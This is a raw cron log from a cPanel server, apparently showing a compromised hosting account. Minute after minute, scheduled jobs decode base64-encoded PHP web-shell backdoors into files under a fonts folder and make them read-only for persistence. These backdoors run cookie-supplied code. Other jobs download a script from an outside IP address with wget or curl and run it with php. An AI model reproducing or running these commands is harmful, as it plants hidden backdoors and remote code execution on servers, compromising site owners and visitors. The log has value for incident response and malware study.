Feb 22 05:36:01 ip-184-168-122-23 CROND[26567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:37:01 ip-184-168-122-23 CROND[26902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:37:01 ip-184-168-122-23 CROND[26903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:37:01 ip-184-168-122-23 CROND[26905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:37:01 ip-184-168-122-23 CROND[26904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:38:02 ip-184-168-122-23 CROND[27219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:38:02 ip-184-168-122-23 CROND[27223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:38:02 ip-184-168-122-23 CROND[27224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:38:02 ip-184-168-122-23 CROND[27222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:38:02 ip-184-168-122-23 CROND[27221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:39:01 ip-184-168-122-23 CROND[27538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:39:01 ip-184-168-122-23 CROND[27541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:39:01 ip-184-168-122-23 CROND[27543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:39:01 ip-184-168-122-23 CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:39:01 ip-184-168-122-23 CROND[27544]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27978]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:40:01 ip-184-168-122-23 CROND[27983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:40:01 ip-184-168-122-23 CROND[27986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:40:01 ip-184-168-122-23 CROND[27992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:41:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:41:01 ip-184-168-122-23 CROND[28340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:41:01 ip-184-168-122-23 CROND[28341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:41:01 ip-184-168-122-23 CROND[28345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:42:01 ip-184-168-122-23 CROND[28655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:42:01 ip-184-168-122-23 CROND[28656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:42:01 ip-184-168-122-23 CROND[28660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:42:01 ip-184-168-122-23 CROND[28657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:42:01 ip-184-168-122-23 CROND[28662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:43:01 ip-184-168-122-23 CROND[28995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:43:01 ip-184-168-122-23 CROND[28997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:43:01 ip-184-168-122-23 CROND[28996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:43:01 ip-184-168-122-23 CROND[28998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:44:01 ip-184-168-122-23 CROND[29316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:44:01 ip-184-168-122-23 CROND[29318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:44:01 ip-184-168-122-23 CROND[29319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:44:01 ip-184-168-122-23 CROND[29321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:44:01 ip-184-168-122-23 CROND[29320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:45:01 ip-184-168-122-23 CROND[29661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:46:01 ip-184-168-122-23 CROND[30005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:46:01 ip-184-168-122-23 CROND[30004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:46:01 ip-184-168-122-23 CROND[30006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:46:01 ip-184-168-122-23 CROND[30007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:46:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 05:46:01 ip-184-168-122-23 CROND[30012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:47:01 ip-184-168-122-23 CROND[30347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:47:01 ip-184-168-122-23 CROND[30349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:47:01 ip-184-168-122-23 CROND[30350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:47:01 ip-184-168-122-23 CROND[30348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:48:01 ip-184-168-122-23 CROND[30752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:48:01 ip-184-168-122-23 CROND[30753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:48:01 ip-184-168-122-23 CROND[30756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:48:01 ip-184-168-122-23 CROND[30758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:48:01 ip-184-168-122-23 CROND[30757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
